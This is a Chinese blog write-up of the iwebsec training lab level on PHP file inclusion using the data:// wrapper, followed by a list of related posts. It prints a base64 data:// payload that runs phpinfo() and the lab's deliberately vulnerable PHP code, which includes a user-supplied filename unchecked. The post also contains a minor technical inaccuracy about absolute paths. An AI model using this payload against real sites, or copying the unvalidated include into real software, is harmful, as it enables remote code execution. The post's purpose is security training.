首页 > 其他分享 >iwebsec-文件包含 10 data://伪协议利用

iwebsec-文件包含 10 data://伪协议利用

时间:2023-08-20 13:44:30浏览次数:48  
标签:10 包含 文件 text base64 iwebsec data


01、题目分析

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,

直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。

在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

data://text/plain;base64,使用base64加密代码进行执行

02、文件包含

使用base64加密代码进行执行phpinfo()

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

这个利用方式仅适用于知道绝对路径的文件读取

image

03、源码分析

<?php
	if(isset($_GET['filename'])){ // 检查是否设置了 'filename' 参数
	    $filename  = $_GET['filename']; // 获取 'filename' 参数的值,并赋给 $filename 变量
	    include($filename); // 包含指定的文件内容
	}else{
		exit(); // 如果未设置 'filename' 参数,则退出脚本执行
	}
?>

标签:10,包含,文件,text,base64,iwebsec,data
From: https://www.cnblogs.com/bdrwmy/p/17643917.html

相关文章

  • iwebsec-文件包含 07 php://input伪协议
    01、题目分析程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞php://input用于对本地磁盘文件进行写入02、文件包含因为文......
  • iwebsec-文件包含 04 文件头过滤绕过
    01、题目分析文件上传的文件头过滤,题目中已经告诉我们了,我们已经知道了过滤类型,但是出于学习和判断的目的,那么我们还是得判断一下文件上传的过滤类型02、文件上传既然文件头过滤,直接在木马文件中加上文件头GIF98a,然后直接上传即可,如果有文件类型过滤,那么就像上一关一样更改下文......
  • iwebsec-文件包含 05 远程文件包含绕过
    01、题目分析程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞如果服务器开启了远程访问文件功能,那么就可以利用文件包含漏......
  • iwebsec-文件包含 06 php://filter伪协议
    01、题目分析程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞php://filter是元封装器,用于对本地磁盘文件进行读取02、文......
  • 【工具】windows10定时关机
    windows10定时关机打开 cmd (在搜索栏输入cmd打开):2.2、创建计划任务:schtasks/create/TNshutdown_on_time/TR"shutdown/s/t60"/ST22:00:00/SCDAILY自己用的话只需改一个地方,把22:00:00改成自己需要的时间就行了3、查看创建结果:schtasks/Delete/TNshu......
  • Reversing-x64Elf-100
     对应的脚本代码为: ......
  • iwebsec-文件包含 01 本地文件包含
    01、题目分析程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞02、文件包含这一题,emmm,没啥好说的,直接告诉答案了,在服务器的......
  • iwebsec-文件包含 02 本地文件包含绕过
    01、题目分析程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞02、文件包含这一题,emmm,没啥好说的,直接告诉答案了,在服务器......
  • iwebsec-文件包含 03 session本地文件包含
    01、题目分析程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞02、文件包含在这一题中,采用了session验证,根据提示,我们就可......
  • 华为数通方向HCIP-DataCom H12-821题库(单选题:161-180)
    第161题以下关于URPF(UnicastReversePathForwarding)的描述,正确的是哪一项A、部署了严格模式的URPF,也能够可以同时部署允许匹配缺省路由模式B、如果部署松散模式的URPF,默认情况下不需要匹配明细路由C、如果部署松散模式的URPF,如果需要检查默认路由,则需要检查接口是否匹配......